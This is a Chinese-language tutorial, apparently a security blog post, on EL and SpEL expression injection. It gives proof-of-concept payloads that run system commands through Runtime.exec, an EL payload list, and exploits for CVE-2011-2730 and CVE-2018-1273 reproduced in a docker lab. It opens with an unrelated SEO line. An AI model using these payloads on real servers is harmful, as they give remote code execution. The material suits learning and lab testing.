無錫建設(shè)網(wǎng)站的公司湖南百度seo
1 前置知識
1.1 EL表達(dá)式
EL表達(dá)式主要功能:
- 獲取數(shù)據(jù):可以從JSP四大作用域中獲取數(shù)據(jù)
- 執(zhí)行運算:執(zhí)行一些關(guān)系運算,邏輯運算,算術(shù)運算
- 獲取web開發(fā)常用對象:通過內(nèi)置 的11個隱式對象獲取想要的數(shù)據(jù)
- 調(diào)用java方法:允許用戶開發(fā)自定義EL函數(shù),通過EL表達(dá)式調(diào)用java方法
JSP四大作用域:
- page:只在一個頁面保存數(shù)據(jù)(默認(rèn))
- request:只在一個請求保存數(shù)據(jù)
- session:只在一個會話保存數(shù)據(jù)
- application:在整個服務(wù)器保存數(shù)據(jù),全部用戶共享
EL表達(dá)式獲取對象屬性的方法:
${對象.屬性}
[]
:屬性名中存在特殊字符或者屬性名是一個變量時使用
實例化java內(nèi)置類:
- 例如使用Runtime.class會執(zhí)行系統(tǒng)命令
${Runtime.getRuntime().exec("calc")}
jsp標(biāo)準(zhǔn)方法與EL表達(dá)式取值的區(qū)別:
JSP | EL表達(dá)式 |
---|---|
<%=((Person)request.getAttribute("p")).getName()%> | ${p.name} |
<%=((Person)request.getAttribute("p")).getAge()%> | ${p.age} |
1.2 SPEL表達(dá)式
SPEL表達(dá)式注入:獨立于Spring容器使用,但只被當(dāng)成簡單的表達(dá)式語言使用
SPEL中EvaluationContext(表示解析器)用于評估表達(dá)式和解析屬性、方法以及字段并幫助執(zhí)行類型轉(zhuǎn)換的接口
兩種實現(xiàn)方法:
SimpleEvaluationContext | StandardEvaluationContext(默認(rèn)) |
---|---|
權(quán)限小,只支持一些map結(jié)構(gòu) | 權(quán)限大,可以執(zhí)行任意代碼,會被惡意用戶利用 |
針對不需要SPEL語言語法的全部范圍并且應(yīng)該受到有意限制的表達(dá)式類別,公開SpEL語言特性和配置選項的子集 | 公開SpEL全部語言功能和配置選項。用戶可以使用他來指定默認(rèn)的跟對象并配置每個可用的評估相關(guān)策略 |
利用:
String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
// 創(chuàng)建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默認(rèn)實現(xiàn)
ExpressionParser parser = new SpelExpressionParser();
// 構(gòu)造上下文:準(zhǔn)備比如變量定義等等表達(dá)式需要的上下文數(shù)據(jù)
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 解析表達(dá)式:使用 ExpressionParser 的 parseExpression 來解析相應(yīng)的表達(dá)式為 Expression 對象
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));
2 漏洞描述
表達(dá)式注入(EL表達(dá)式),JSP的一種內(nèi)置語言。作用于用戶訪問頁面的上下文以及不同作用域的對象,取得對象屬性值或者執(zhí)行簡單的運算和判斷操作。
3 通用POC
//對應(yīng)于JSP頁面中的pageContext對象(注意:取的是pageContext對象)
${pageContext}//獲取Web路徑
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}//文件頭參數(shù)
${header}//獲取webRoot
${applicationScope}//執(zhí)行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
4 CVE-2011-2730-Spring標(biāo)簽EL表達(dá)式注入
原理:Spring的message標(biāo)簽會對EL表達(dá)式進(jìn)行解析,且 web容器也會對EL表達(dá)式進(jìn)行解析,兩次解析造成EL表達(dá)式注入。
spring message標(biāo)簽形式:<spring:message text="${param.a}"></spring:message>
利用:
-
獲取信息:
a = ${applicationScope}
-
攻擊性:利用反射,先獲取getRuntime方法中的method對象,然后通過invoke獲取Runtime對象,然后可以直接調(diào)用exec方法運行惡意代碼
<spring:message text= "${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"> </spring:message>
驗證步驟:
- 確定web應(yīng)用使用了spring標(biāo)簽,因為沒有spring標(biāo)簽的話,也就談不上EL表達(dá)式注入了
- 確定標(biāo)簽中存在EL注入,可以通過提交${applicationScope}等進(jìn)行測試
- 判斷servlet容器版本,如果容器不支持EL2.2的話,存在EL注入也只能進(jìn)行獲取服務(wù)器信息等操作了
- 如果容器支持EL2.2,就可以嘗試構(gòu)造攻擊代碼對服務(wù)器本身直接進(jìn)行攻擊
5 CVE-2018-1273-Spring Data Commons 遠(yuǎn)程代碼執(zhí)行漏洞
5.1 描述
成因:當(dāng)用戶在項目中利用了Spring-data的相關(guān)web特性對用戶的輸入?yún)?shù)進(jìn)行自動匹配的時候,會將用戶提交的form表單的key值作為Spel的執(zhí)行內(nèi)容。
前置知識:Spring Data是一個用于簡化數(shù)據(jù)庫訪問,并支持云服務(wù)的開源框架,Spring Data Commons是Spring Data下所有子項目共享的基礎(chǔ)框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表達(dá)式注入漏洞,攻擊者可以注入惡意SpEL表達(dá)式以執(zhí)行任意命令.
漏洞的判定:確認(rèn)目標(biāo)項目中含有Spring-data-commons包并且版本范圍如下
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
5.2 docker復(fù)現(xiàn)
burp抓包,使用payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
放包,頁面返回如下
使用命令docker-compose exec spring bash
進(jìn)入目錄查看是否有success,有success